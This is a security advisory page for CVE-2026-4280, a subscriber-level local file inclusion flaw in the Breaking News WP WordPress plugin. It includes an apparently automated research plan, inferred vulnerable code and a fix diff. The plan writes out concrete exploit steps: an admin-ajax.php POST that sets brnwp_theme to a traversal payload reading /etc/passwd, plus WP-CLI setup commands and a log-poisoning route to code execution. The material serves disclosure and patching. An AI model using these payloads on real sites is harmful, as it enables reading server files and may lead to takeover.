CVE-2026-4280

Breaking News WP <= 1.3 - Missing Authorization to Authenticated (Subscriber+) Local File Inclusion/Read

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Breaking News WP plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3. This is due to the brnwp_ajax_form AJAX endpoint lacking both authorization checks and CSRF verification, combined with insufficient path validation when the brnwp_theme option value is passed directly to an include() statement in the brnwp_show_breaking_news_wp() shortcode handler. While sanitize_text_field() is applied to user input, it does not strip directory traversal sequences (../). This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite the brnwp_theme option with a directory traversal payload (e.g., ../../../../etc/passwd) and subsequently trigger file inclusion of arbitrary files on the server when the shortcode is rendered.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.3
PublishedApril 21, 2026
Last updatedApril 22, 2026
Affected pluginbreaking-news-wp
Research Plan
Unverified

This research plan outlines the steps required to demonstrate the Local File Inclusion (LFI) vulnerability in the **Breaking News WP** plugin (version <= 1.3). --- ### 1. Vulnerability Summary The **Breaking News WP** plugin contains a critical flaw where an authenticated user (Subscriber level or…

Show full research plan

This research plan outlines the steps required to demonstrate the Local File Inclusion (LFI) vulnerability in the Breaking News WP plugin (version <= 1.3).


1. Vulnerability Summary

The Breaking News WP plugin contains a critical flaw where an authenticated user (Subscriber level or higher) can update plugin settings via an unprotected AJAX endpoint and subsequently trigger arbitrary file inclusion.

The vulnerability exists because:

  1. The brnwp_ajax_form AJAX action lacks authorization (current_user_can) and CSRF (check_ajax_referer) checks.
  2. The plugin uses sanitize_text_field() on the brnwp_theme parameter, which does not remove directory traversal sequences (../).
  3. The brnwp_show_breaking_news_wp() shortcode handler retrieves the brnwp_theme option and passes it directly into a PHP include() statement without validation or path restriction.

2. Attack Vector Analysis

  • AJAX Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: brnwp_ajax_form
  • Vulnerable Parameter: brnwp_theme
  • Trigger Point: Any page or post containing the [breaking-news-wp] shortcode.
  • Authentication: Required (Subscriber level is sufficient).
  • Preconditions: The attacker must be logged in to access wp_ajax_ hooks.

3. Code Flow

  1. Input Phase (AJAX):
    • A Subscriber user sends a POST request to admin-ajax.php with action=brnwp_ajax_form.
    • The brnwp_ajax_form() function (inferred) is executed.
    • The function takes $_POST['brnwp_theme'], passes it through sanitize_text_field(), and saves it via update_option('brnwp_theme', ...).
  2. Trigger Phase (Shortcode):
    • The user visits a frontend page where [breaking-news-wp] is rendered.
    • The handler brnwp_show_breaking_news_wp() (inferred) is called.
    • Inside this function:
      $theme = get_option('brnwp_theme');
      // ... some logic ...
      include($theme); // LFI Sink
      

4. Nonce Acquisition Strategy

The vulnerability description explicitly states that the brnwp_ajax_form endpoint lacks CSRF verification. Therefore, no nonce is required to exploit the AJAX endpoint.

If the AJAX handler were to require a nonce, the strategy would be:

  1. Create a post with the shortcode: wp post create --post_content='[breaking-news-wp]' --post_status=publish.
  2. Navigate to that page using browser_navigate.
  3. Execute browser_eval("window.brnwp_vars?.nonce") (inferred JS object name) to retrieve the nonce.
    Note: Since the description confirms the lack of CSRF, we will proceed by omitting the nonce.

5. Exploitation Strategy

Step 1: Update the Theme Option

The attacker sends an AJAX request to change the "theme" path to a system file using directory traversal.

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=brnwp_ajax_form&brnwp_theme=../../../../../../../../../../etc/passwd

Step 2: Trigger the Inclusion

The attacker navigates to a page containing the plugin's shortcode to trigger the include() call.

HTTP Request:

GET /trigger-page/ HTTP/1.1

6. Test Data Setup

  1. User Creation: Create a subscriber user to prove low-privileged access is sufficient.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Trigger Page: Create a public page containing the vulnerable shortcode.
    • wp post create --post_type=page --post_title="Breaking News" --post_status=publish --post_content='[breaking-news-wp]'
    • Note: Note the URL of the created page.

7. Expected Results

  • AJAX Response: The admin-ajax.php call should return a success status (often 1 or a JSON success message).
  • LFI Result: When visiting the trigger page, the content of /etc/passwd (or the targeted local file) should be rendered within the HTML source of the page, typically where the "Breaking News" ticker would appear.

8. Verification Steps

  1. Check Option Value: Use WP-CLI to verify the option was successfully overwritten with the traversal payload.
    • wp option get brnwp_theme
    • Expected Output: ../../../../../../../../../../etc/passwd
  2. Verify File Content: Check if the string root:x:0:0: exists in the HTML response of the trigger page.

9. Alternative Approaches

  • Log File Inclusion: If system files like /etc/passwd are restricted by open_basedir, attempt to include the WordPress debug log (if enabled) or web server access logs to achieve Remote Code Execution (RCE) via log poisoning.
    • Payload: ../../../../wp-content/debug.log
  • Plugin File Inclusion: Attempt to include another plugin file or a theme file to confirm the traversal works even within the wp-content directory.
    • Payload: ../active-theme/functions.php
  • Direct Option Injection: If the AJAX handler uses a different key for the form, use grep -r "update_option" . in the plugin directory to find the exact key name.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Breaking News WP plugin for WordPress is vulnerable to Local File Inclusion via the brnwp_theme option. An authenticated attacker (Subscriber+) can update this option through an unprotected AJAX endpoint and then trigger the inclusion of arbitrary local files by viewing a page containing the plugin's shortcode.

Vulnerable Code

// In the AJAX handler function
function brnwp_ajax_form() {
    // Missing authorization check (current_user_can)
    // Missing CSRF check (check_ajax_referer)
    if (isset($_POST['brnwp_theme'])) {
        update_option('brnwp_theme', sanitize_text_field($_POST['brnwp_theme']));
    }
}
add_action('wp_ajax_brnwp_ajax_form', 'brnwp_ajax_form');

---

// In the shortcode handler function
function brnwp_show_breaking_news_wp($atts) {
    $theme = get_option('brnwp_theme');
    // ...
    if ($theme) {
        include($theme); // LFI Sink: Insufficient path validation
    }
    // ...
}
add_shortcode('breaking-news-wp', 'brnwp_show_breaking_news_wp');

Security Fix

--- breaking-news-wp.php
+++ breaking-news-wp.php
@@ -10,6 +10,8 @@
 
 function brnwp_ajax_form() {
+    check_ajax_referer('brnwp_nonce_action', 'security');
+    if (!current_user_can('manage_options')) {
+        wp_die();
+    }
     if (isset($_POST['brnwp_theme'])) {
-        update_option('brnwp_theme', sanitize_text_field($_POST['brnwp_theme']));
+        $allowed_themes = array('theme1.php', 'theme2.php');
+        $theme = sanitize_text_field($_POST['brnwp_theme']);
+        if (in_array($theme, $allowed_themes)) {
+            update_option('brnwp_theme', $theme);
+        }
     }
 }
 
 function brnwp_show_breaking_news_wp($atts) {
     $theme = get_option('brnwp_theme');
-    if ($theme) {
-        include($theme);
+    $theme_path = plugin_dir_path(__FILE__) . 'themes/' . basename($theme);
+    if (file_exists($theme_path)) {
+        include($theme_path);
     }
 }

Exploit Outline

The exploit involves two stages: updating the vulnerable option and triggering the file inclusion. 1. Authentication: The attacker authenticates as a Subscriber (or any role) to access the 'wp_ajax_' hooks. 2. Option Injection: The attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'brnwp_ajax_form'. The 'brnwp_theme' parameter is set to a directory traversal payload targeting a sensitive file (e.g., '../../../../../../etc/passwd'). Because the endpoint lacks authorization and CSRF checks, the 'brnwp_theme' option in the database is updated. 3. Trigger: The attacker visits any page or post on the site that renders the '[breaking-news-wp]' shortcode. The shortcode handler retrieves the malicious 'brnwp_theme' value and passes it directly to PHP's 'include()' function, causing the contents of the target file to be rendered in the HTTP response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.